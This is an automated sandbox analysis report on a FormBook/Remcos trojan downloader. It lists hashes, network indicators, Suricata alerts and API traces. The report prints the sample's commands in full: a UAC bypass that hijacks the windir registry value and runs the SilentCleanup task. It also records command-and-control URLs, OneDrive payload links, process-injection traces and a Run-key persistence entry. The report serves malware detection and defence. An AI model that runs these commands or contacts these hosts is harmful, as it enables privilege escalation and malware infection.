Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	Aug. 7, 2021, 1:50 p.m.	Aug. 7, 2021, 1:52 p.m.

Size	692.0KB
Type	PE32 executable (GUI) Intel 80386, for MS Windows
MD5	`442d2d8a7820a1c0c0ba418476d67fb0`
SHA256	`be6c146acab77dfb4116c0805a1244c79a5da7393ce8ee582f59ae8c1773e406`
CRC32	`53F1D571`
ssdeep	`12288:NlyPhGe3nf8jHmf/3AwhgFn33DdzQwcApa56Q0uGPwNfXA:NAPbaHLwh2nBZ6ouRA`
Yara	UPX_Zero - UPX packed file Malicious_Library_Zero - Malicious_Library PE_Header_Zero - PE File Signature IsPE32 - (no description)

vbc.exe "C:\Users\test22\AppData\Local\Temp\vbc.exe"
872
- cmd.exe cmd /c ""C:\Users\Public\Trast.bat" "
  1812
  - cmd.exe C:\Windows\system32\cmd.exe /K C:\Users\Public\UKO.bat
    1632
    - reg.exe reg delete hkcu\Environment /v windir /f
      2040
    - reg.exe reg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\KDECO.bat reg delete hkcu\Environment /v windir /f && REM "
      1348
    - schtasks.exe schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
      604
- cmd.exe cmd /c ""C:\Users\Public\nest.bat" "
  2680
  - reg.exe reg delete hkcu\Environment /v windir /f
    1180

Name	Response	Post-Analysis Lookup
www.gxduoke.com	A 164.88.214.172	164.88.214.172
www.hibachiexpressnctogo.com	A 54.230.169.119 A 54.230.169.100 A 54.230.169.48 A 54.230.169.104	54.230.169.100
www.titanusedcarsworth.com
www.aladinfarma.com	A 81.95.96.29	81.95.96.29
www.besport24.com	A 51.83.52.226 CNAME besport24.com	51.83.52.226
www.coicplat.com
www.paypalticket5396173.info
pxrvua.sn.files.1drv.com	CNAME odc-sn-files-geo.onedrive.akadns.net CNAME sn-files.fe.1drv.com CNAME sn-files.ha.1drv.com.l-0003.dc-msedge.net.l-0003.l-msedge.net A 13.107.42.12 CNAME odc-sn-files-brs.onedrive.akadns.net CNAME l-0003.l-msedge.net	13.107.42.12
www.freehypnosisevent.com
www.marcuslafond.com	A 104.247.218.105	104.247.218.105
www.mobiessence.com	A 52.58.78.16	52.58.78.16
www.candlewooddmc.com
onedrive.live.com	CNAME odc-web-geo.onedrive.akadns.net CNAME l-0004.l-msedge.net A 13.107.42.13 CNAME odwebpl.trafficmanager.net.l-0004.dc-msedge.net.l-0004.l-msedge.net CNAME odc-web-brs.onedrive.akadns.net	13.107.42.13
www.lawmetricssolicitors.com	CNAME lawmetricssolicitors.com A 66.45.250.213	66.45.250.213
www.cannamalism.com	CNAME cannamalism.com A 34.102.136.180	34.102.136.180

IP Address	Status	Action
104.247.218.105	Active	Moloch
13.107.42.12	Active	Moloch
13.107.42.13	Active	Moloch
164.124.101.2	Active	Moloch
164.88.214.172	Active	Moloch
34.102.136.180	Active	Moloch
51.83.52.226	Active	Moloch
52.58.78.16	Active	Moloch
54.230.169.104	Active	Moloch
66.45.250.213	Active	Moloch
81.95.96.29	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.101:49201 -> 13.107.42.13:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.101:49202 -> 13.107.42.12:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.101:49203 -> 13.107.42.12:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.101:49234 -> 54.230.169.104:80	2031412	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49234 -> 54.230.169.104:80	2031449	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49234 -> 54.230.169.104:80	2031453	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49236 -> 34.102.136.180:80	2031412	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49236 -> 34.102.136.180:80	2031449	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49236 -> 34.102.136.180:80	2031453	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49226 -> 81.95.96.29:80	2031412	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49226 -> 81.95.96.29:80	2031449	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49232 -> 104.247.218.105:80	2031412	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49226 -> 81.95.96.29:80	2031453	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49232 -> 104.247.218.105:80	2031449	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49232 -> 104.247.218.105:80	2031453	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49228 -> 164.88.214.172:80	2031412	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49228 -> 164.88.214.172:80	2031449	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49228 -> 164.88.214.172:80	2031453	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49230 -> 52.58.78.16:80	2031412	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49230 -> 52.58.78.16:80	2031449	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49230 -> 52.58.78.16:80	2031453	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49224 -> 66.45.250.213:80	2031412	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49224 -> 66.45.250.213:80	2031449	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49224 -> 66.45.250.213:80	2031453	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49220 -> 51.83.52.226:80	2031412	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49220 -> 51.83.52.226:80	2031449	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49220 -> 51.83.52.226:80	2031453	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected

Suricata TLS

Flow	Issuer	Subject	Fingerprint
TLSv1 192.168.56.101:49201 13.107.42.13:443	C=US, O=Microsoft Corporation, CN=Microsoft RSA TLS CA 02	CN=onedrive.com	24:8a:fb:ed:16:0d:11:c8:2f:65:3a:66:ca:f1:6f:60:ad:4c:cc:de
TLSv1 192.168.56.101:49202 13.107.42.12:443	C=US, O=Microsoft Corporation, CN=Microsoft RSA TLS CA 02	C=US, ST=WA, L=Redmond, O=Microsoft Corporation, OU=Microsoft Corporation, CN=storage.live.com	77:27:91:d8:e9:91:39:0b:f9:f9:5e:86:3e:37:d5:dc:9d:85:30:49
TLSv1 192.168.56.101:49203 13.107.42.12:443	C=US, O=Microsoft Corporation, CN=Microsoft RSA TLS CA 02	C=US, ST=WA, L=Redmond, O=Microsoft Corporation, OU=Microsoft Corporation, CN=storage.live.com	77:27:91:d8:e9:91:39:0b:f9:f9:5e:86:3e:37:d5:dc:9d:85:30:49

Queries for the computername (1 event)

Time & API	Arguments	Status	Return	Repeated
GetComputerNameW Aug. 7, 2021, 1:51 p.m.	computer_name: TEST22-PC	1	1	0

Command line console output was observed (22 events)

Time & API	Arguments	Status	Return
WriteConsoleW Aug. 7, 2021, 1:50 p.m.	buffer: C:\Users\Public> console_handle: 0x00000007	1	1
WriteConsoleW Aug. 7, 2021, 1:50 p.m.	buffer: start console_handle: 0x00000007	1	1
WriteConsoleW Aug. 7, 2021, 1:50 p.m.	buffer: /min C:\Users\Public\UKO.bat console_handle: 0x00000007	1	1
WriteConsoleW Aug. 7, 2021, 1:50 p.m.	buffer: C:\Users\Public> console_handle: 0x00000007	1	1
WriteConsoleW Aug. 7, 2021, 1:50 p.m.	buffer: reg console_handle: 0x00000007	1	1
WriteConsoleW Aug. 7, 2021, 1:50 p.m.	buffer: delete hkcu\Environment /v windir /f console_handle: 0x00000007	1	1
WriteConsoleW Aug. 7, 2021, 1:50 p.m.	buffer: C:\Users\Public> console_handle: 0x00000007	1	1
WriteConsoleW Aug. 7, 2021, 1:50 p.m.	buffer: reg console_handle: 0x00000007	1	1
WriteConsoleW Aug. 7, 2021, 1:50 p.m.	buffer: add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\KDECO.bat reg delete hkcu\Environment /v windir /f && REM " console_handle: 0x00000007	1	1
WriteConsoleW Aug. 7, 2021, 1:51 p.m.	buffer: C:\Users\Public> console_handle: 0x00000007	1	1
WriteConsoleW Aug. 7, 2021, 1:51 p.m.	buffer: schtasks console_handle: 0x00000007	1	1
WriteConsoleW Aug. 7, 2021, 1:51 p.m.	buffer: /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I console_handle: 0x00000007	1	1
WriteConsoleW Aug. 7, 2021, 1:51 p.m.	buffer: exit console_handle: 0x00000007	1	1
WriteConsoleW Aug. 7, 2021, 1:50 p.m.	buffer: ERROR: console_handle: 0x0000000b	1	1
WriteConsoleW Aug. 7, 2021, 1:50 p.m.	buffer: The system was unable to find the specified registry key or value. console_handle: 0x0000000b	1	1
WriteConsoleW Aug. 7, 2021, 1:51 p.m.	buffer: The operation completed successfully. console_handle: 0x00000007	1	1
WriteConsoleW Aug. 7, 2021, 1:51 p.m.	buffer: ERROR: console_handle: 0x0000000b	1	1
WriteConsoleW Aug. 7, 2021, 1:51 p.m.	buffer: The system cannot find the path specified. console_handle: 0x0000000b	1	1
WriteConsoleW Aug. 7, 2021, 1:51 p.m.	buffer: C:\Users\Public> console_handle: 0x00000007	1	1
WriteConsoleW Aug. 7, 2021, 1:51 p.m.	buffer: start console_handle: 0x00000007	1	1
WriteConsoleW Aug. 7, 2021, 1:51 p.m.	buffer: /min reg delete hkcu\Environment /v windir /f console_handle: 0x00000007	1	1
WriteConsoleW Aug. 7, 2021, 1:51 p.m.	buffer: The operation completed successfully. console_handle: 0x00000007	1	1

The executable contains unknown PE section names indicative of a packer (could be a false positive) (3 events)

section	CODE
section	DATA
section	BSS

The executable uses a known packer (1 event)

packer

BobSoft Mini Delphi -> BoB / BobSoft

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (8 events)

suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.besport24.com/6mam/?Sjo4=G66iPt+xvrTiSrnWMSNY3jIG1auw/RAx4P7alq3BxDAHCc2pRDbTwTzLPU1dODy6kKEhnUhc&L6=VrM8zFVhsB3D
suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.lawmetricssolicitors.com/6mam/?Sjo4=4Gj0yn3nr4YWFpZH4qn2bQ/Mf+Y/K54EnXCw/FRHgkyWUNrW3vdYTE+qdBaiGkNQ4kKGGQ8H&L6=VrM8zFVhsB3D
suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.aladinfarma.com/6mam/?Sjo4=udSG7fe6GY9zo7ZKy45gsyroZuOYrS4qDm5Wf1a6lEkS7UZsR2SStIdy4f3tNkj1uIyko7Uw&L6=VrM8zFVhsB3D
suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.gxduoke.com/6mam/?Sjo4=XyExfHS1GLupBy3CQ8ZHaW0Gc0Et+RmWESSPg9i+4Yd9uJqL2u2pkEb3ToITDIyDz9UOIS1M&L6=VrM8zFVhsB3D
suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.mobiessence.com/6mam/?Sjo4=KE8gpfUGztMVNWKMFV5goIwNmc44LE6Oi+XDAS05rkp2RTHle1NPjBrPfhHuDJ31Wqk/Ne1S&L6=VrM8zFVhsB3D
suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.marcuslafond.com/6mam/?Sjo4=DiI3F0Ylam/cMh+wU0CjHhRfuntJ8nyjZcT4nMx9uSVUWqMW4wZqmzUPNc4P48XCZ8APIRdm&L6=VrM8zFVhsB3D
suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.hibachiexpressnctogo.com/6mam/?Sjo4=0HG4+iy4HM9z+nt9884ETIsw7S4XNgMIsS4SVeWydW0ESnQUZ/hCKdKQ9SnakUxepzgcXLa3&L6=VrM8zFVhsB3D
suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.cannamalism.com/6mam/?Sjo4=kn71xoO9iU2mX4j71h7bz8HHhkUEjJyTF2/azklG2erytyCHrh0zJMDeYoghQinFk6RtaMTe&L6=VrM8zFVhsB3D

Performs some HTTP requests (19 events)

request	POST http://www.besport24.com/6mam/
request	GET http://www.besport24.com/6mam/?Sjo4=G66iPt+xvrTiSrnWMSNY3jIG1auw/RAx4P7alq3BxDAHCc2pRDbTwTzLPU1dODy6kKEhnUhc&L6=VrM8zFVhsB3D
request	POST http://www.lawmetricssolicitors.com/6mam/
request	GET http://www.lawmetricssolicitors.com/6mam/?Sjo4=4Gj0yn3nr4YWFpZH4qn2bQ/Mf+Y/K54EnXCw/FRHgkyWUNrW3vdYTE+qdBaiGkNQ4kKGGQ8H&L6=VrM8zFVhsB3D
request	POST http://www.aladinfarma.com/6mam/
request	GET http://www.aladinfarma.com/6mam/?Sjo4=udSG7fe6GY9zo7ZKy45gsyroZuOYrS4qDm5Wf1a6lEkS7UZsR2SStIdy4f3tNkj1uIyko7Uw&L6=VrM8zFVhsB3D
request	POST http://www.gxduoke.com/6mam/
request	GET http://www.gxduoke.com/6mam/?Sjo4=XyExfHS1GLupBy3CQ8ZHaW0Gc0Et+RmWESSPg9i+4Yd9uJqL2u2pkEb3ToITDIyDz9UOIS1M&L6=VrM8zFVhsB3D
request	POST http://www.mobiessence.com/6mam/
request	GET http://www.mobiessence.com/6mam/?Sjo4=KE8gpfUGztMVNWKMFV5goIwNmc44LE6Oi+XDAS05rkp2RTHle1NPjBrPfhHuDJ31Wqk/Ne1S&L6=VrM8zFVhsB3D
request	POST http://www.marcuslafond.com/6mam/
request	GET http://www.marcuslafond.com/6mam/?Sjo4=DiI3F0Ylam/cMh+wU0CjHhRfuntJ8nyjZcT4nMx9uSVUWqMW4wZqmzUPNc4P48XCZ8APIRdm&L6=VrM8zFVhsB3D
request	POST http://www.hibachiexpressnctogo.com/6mam/
request	GET http://www.hibachiexpressnctogo.com/6mam/?Sjo4=0HG4+iy4HM9z+nt9884ETIsw7S4XNgMIsS4SVeWydW0ESnQUZ/hCKdKQ9SnakUxepzgcXLa3&L6=VrM8zFVhsB3D
request	POST http://www.cannamalism.com/6mam/
request	GET http://www.cannamalism.com/6mam/?Sjo4=kn71xoO9iU2mX4j71h7bz8HHhkUEjJyTF2/azklG2erytyCHrh0zJMDeYoghQinFk6RtaMTe&L6=VrM8zFVhsB3D
request	GET https://onedrive.live.com/download?cid=7AD84143EE0A85E3&resid=7AD84143EE0A85E3%21117&authkey=AJAdp78GUbL_5Hc
request	GET https://pxrvua.sn.files.1drv.com/y4m41792Y6UKDi_7UZp7ByRoAAjAR3fyuA5iLRNNt-n5jRyvXlNyKd14AGIRzIGMUxiuZSxy_OUQr16g9r2TgvRCrZoe_vEz_4NtvrBa8AX_jGkdUIjsjUoufdTv_3ia1afEYa4oWEqdjq6DFpOAnLJod7j1wVkCbTcpxNrKTwsZA9qF1vFtu4BHbu8JvVLPOMhES05MCgiLDLw6gCU58GCKQ/Fuvajutpqxzstoogzkocgvphgpfshra?download&psid=1
request	GET https://pxrvua.sn.files.1drv.com/y4m0Ahy6qtakbVJqNkNH6tYmZTEgEOjoSykrWlGKvOTvKyPaFeFtDBSJ9KqSSx7Ma9SVbVmlwIzIpWm4cqZ_oMZAUDZH5hzP6ab5BDAv8wdLz72rIkyOQyxcORZOp8AXgfeMFKPfcv79_DixtsxFSclvxVXV9FeaDrM_C_iOhzor74KUzRaC2_cwlLloLena0QmneO1vv7FrWCnXxR6wZ_lTQ/Fuvajutpqxzstoogzkocgvphgpfshra?download&psid=1

Sends data using the HTTP POST Method (8 events)

request	POST http://www.besport24.com/6mam/
request	POST http://www.lawmetricssolicitors.com/6mam/
request	POST http://www.aladinfarma.com/6mam/
request	POST http://www.gxduoke.com/6mam/
request	POST http://www.mobiessence.com/6mam/
request	POST http://www.marcuslafond.com/6mam/
request	POST http://www.hibachiexpressnctogo.com/6mam/
request	POST http://www.cannamalism.com/6mam/

Allocates read-write-execute memory (usually to unpack itself) (3 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Aug. 7, 2021, 1:50 p.m.	process_identifier: 872 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01e10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 7, 2021, 1:50 p.m.	process_identifier: 872 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73d12000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 7, 2021, 1:50 p.m.	process_identifier: 872 region_size: 167936 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x10410000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff	1

Creates executable files on the filesystem (5 events)

file	C:\Users\Public\Libraries\Fuvajut\Fuvajut.exe
file	C:\Users\Public\UKO.bat
file	C:\Users\Public\nest.bat
file	C:\Users\Public\Trast.bat
file	C:\Users\Public\KDECO.bat

Creates a suspicious process (2 events)

cmdline	C:\Windows\system32\cmd.exe /K C:\Users\Public\UKO.bat
cmdline	schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I

Changes read-write memory protection to read-execute (probably to avoid detection when setting all RWX flags at the same time) (1 event)

Time & API	Arguments	Status	Return	Repeated
NtProtectVirtualMemory Aug. 7, 2021, 1:50 p.m.	process_identifier: 872 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 81920 protection: 32 (PAGE_EXECUTE_READ) base_address: 0x01e51000 process_handle: 0xffffffff	1	0	0

The binary likely contains encrypted or compressed data indicative of a packer (1 event)

section

{u'size_of_data': u'0x00020400', u'virtual_address': u'0x0007a000', u'entropy': 6.822582691078555, u'name': u'DATA', u'virtual_size': u'0x00020380'}

entropy

6.82258269108

description

A section with a high entropy has been found

Yara rule detected in process memory (50 out of 60 events)

description	Communication using DGA	rule	Network_DGA
description	Communications use DNS	rule	Network_DNS
description	Communications over RAW Socket	rule	Network_TCP_Socket
description	Create a windows service	rule	Create_Service
description	Record Audio	rule	Sniff_Audio
description	Escalate priviledges	rule	Escalate_priviledges
description	Run a KeyLogger	rule	KeyLogger
description	Code injection with CreateRemoteThread in a remote process	rule	Code_injection
description	Communications over HTTP	rule	Network_HTTP
description	Match Windows Inet API call	rule	Str_Win32_Internet_API
description	Communications over FTP	rule	Network_FTP
description	Take ScreenShot	rule	ScreenShot
description	Match Windows Http API call	rule	Str_Win32_Http_API
description	Steal credential	rule	local_credential_Steal
description	File Downloader	rule	Network_Downloader
description	Communications over P2P network	rule	Network_P2P_Win
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerCheck__RemoteAPI
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	DebuggerException__ConsoleCtrl
description	(no description)	rule	DebuggerException__SetConsoleCtrl
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	(no description)	rule	Check_Dlls
description	Checks if being debugged	rule	anti_dbg
description	Anti-Sandbox checks for ThreatExpert	rule	antisb_threatExpert
description	Bypass DEP	rule	disable_dep
description	Affect hook table	rule	win_hook
description	Communication using DGA	rule	Network_DGA
description	Communications use DNS	rule	Network_DNS
description	Communications over RAW Socket	rule	Network_TCP_Socket
description	Create a windows service	rule	Create_Service
description	Record Audio	rule	Sniff_Audio
description	Escalate priviledges	rule	Escalate_priviledges
description	Run a KeyLogger	rule	KeyLogger
description	Code injection with CreateRemoteThread in a remote process	rule	Code_injection
description	Communications over HTTP	rule	Network_HTTP
description	Match Windows Inet API call	rule	Str_Win32_Internet_API
description	Communications over FTP	rule	Network_FTP
description	Take ScreenShot	rule	ScreenShot
description	Match Windows Http API call	rule	Str_Win32_Http_API
description	Steal credential	rule	local_credential_Steal
description	File Downloader	rule	Network_Downloader
description	Communications over P2P network	rule	Network_P2P_Win
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerCheck__RemoteAPI
description	(no description)	rule	DebuggerHiding__Thread

Uses Windows utilities for basic Windows functionality (3 events)

cmdline	reg delete hkcu\Environment /v windir /f
cmdline	schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
cmdline	reg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\KDECO.bat reg delete hkcu\Environment /v windir /f && REM "

One or more of the buffers contains an embedded PE file (1 event)

buffer

Buffer with sha1: 6d25230b3e4927b4fad30c94eebaa72cd1cf11c5

Allocates execute permission to another process indicative of possible code injection (3 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Aug. 7, 2021, 1:50 p.m.	process_identifier: 2988 region_size: 167936 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x10410000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000530	1
NtAllocateVirtualMemory Aug. 7, 2021, 1:50 p.m.	process_identifier: 2988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00130000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000530	1
NtAllocateVirtualMemory Aug. 7, 2021, 1:50 p.m.	process_identifier: 2988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00140000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000530	1

Installs itself for autorun at Windows startup (1 event)

reg_key

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Fuvajut

reg_value

C:\Users\Public\Libraries\tujavuF.url

Creates a thread using CreateRemoteThread in a non-child process indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 872 created a remote thread in non-child process 2988
CreateRemoteThread Aug. 7, 2021, 1:50 p.m.	thread_identifier: 656 process_identifier: 2988 function_address: 0x00140000 flags: 0 stack_size: 0 parameter: 0x00130000 process_handle: 0x00000530	1	1336	0

Manipulates memory of a non-child process indicative of process injection (4 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 872 manipulating memory of non-child process 2988
NtAllocateVirtualMemory Aug. 7, 2021, 1:50 p.m.	process_identifier: 2988 region_size: 167936 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x10410000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000530	1	0	0
NtAllocateVirtualMemory Aug. 7, 2021, 1:50 p.m.	process_identifier: 2988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00130000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000530	1	0	0
NtAllocateVirtualMemory Aug. 7, 2021, 1:50 p.m.	process_identifier: 2988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00140000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000530	1	0	0

Potential code injection by writing to the memory of another process (3 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 872 injected into non-child 2988
WriteProcessMemory Aug. 7, 2021, 1:50 p.m.	buffer: A`ÐB base_address: 0x00130000 process_identifier: 2988 process_handle: 0x00000530	1	1	0
WriteProcessMemory Aug. 7, 2021, 1:50 p.m.	buffer: UìÄøEUøPUü1ÀPjÿuøÿUüYY]Â@UìÄÔSVWúðEÔô?&è5ÿÿ3ÀUh½H&dÿ0d ÆEÿG<ÇEô»Ãj@h0Eô@PPEô@4ÃPèÿÿEð}ðt0hjEðPèÿÿj@h0Eô@PPEô@4ÃPVèâÿÿEð}ðuû0vEÔPÏUðÆèEÔÀt7EèUàUìUøRUØRPEðPVèÖÿÿjjMèºG&Æè_ýÿÿÀtÆEÿ3ÀZYYdhÄH&EÔô?&èÿÿÃ base_address: 0x00140000 process_identifier: 2988 process_handle: 0x00000530	1	1	0

Network activity contains more than one unique useragent (2 events)

process	vbc.exe				useragent	zipo
process	vbc.exe				useragent	aswe

Resumed a suspended thread in a remote process potentially indicative of process injection (4 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 1812 resumed a thread in remote process 1632
Process injection	Process 2680 resumed a thread in remote process 1180
NtResumeThread Aug. 7, 2021, 1:50 p.m.	thread_handle: 0x00000088 suspend_count: 0 process_identifier: 1632	1	0	0
NtResumeThread Aug. 7, 2021, 1:51 p.m.	thread_handle: 0x00000088 suspend_count: 0 process_identifier: 1180	1	0	0

Generates some ICMP traffic

File has been identified by 39 AntiVirus engines on VirusTotal as malicious (39 events)

Bkav	W32.AIDetect.malware2
Lionic	Trojan.Multi.Generic.4!c
Elastic	malicious (high confidence)
DrWeb	Trojan.DownLoader41.4140
MicroWorld-eScan	Trojan.Agent.FLJF
FireEye	Generic.mg.442d2d8a7820a1c0
McAfee	GenericRXAA-AA!442D2D8A7820
Cylance	Unsafe
Sangfor	Trojan.Win32.Save.a
Alibaba	TrojanDownloader:Win32/Remcos.daf7aa4f
BitDefenderTheta	AI:Packer.2CBB88E921
F-Prot	W32/Delf.ALZ
ESET-NOD32	a variant of Win32/TrojanDownloader.Delf.DGT
APEX	Malicious
Paloalto	generic.ml
Kaspersky	HEUR:Backdoor.Win32.Remcos.gen
BitDefender	Trojan.Agent.FLJF
Avast	Win32:Malware-gen
Ad-Aware	Trojan.Agent.FLJF
Sophos	Mal/Generic-S
Ikarus	Trojan.Inject
Cyren	W32/Delf.GQQM-1977
Webroot	W32.Trojan.Gen
Fortinet	W32/GenKryptik.DPIE!tr
Gridinsoft	Trojan.Win32.Downloader.oa
Arcabit	Trojan.Generic.D2C95E5B
ZoneAlarm	HEUR:Backdoor.Win32.Remcos.gen
Microsoft	Trojan:Win32/FormBook.BB!MTB
Cynet	Malicious (score: 100)
AhnLab-V3	Malware/Win.Generic.C4583794
MAX	malware (ai score=100)
Malwarebytes	Trojan.Downloader.DLF
TrendMicro-HouseCall	TROJ_GEN.R06CH0CH621
SentinelOne	Static AI - Suspicious PE
eGambit	Unsafe.AI_Score_88%
GData	Trojan.Agent.FLJF
MaxSecure	Trojan.Malware.300983.susgen
AVG	Win32:Malware-gen
Qihoo-360	Win32/Heur.Generic.HwUBueAA

vbc.exe

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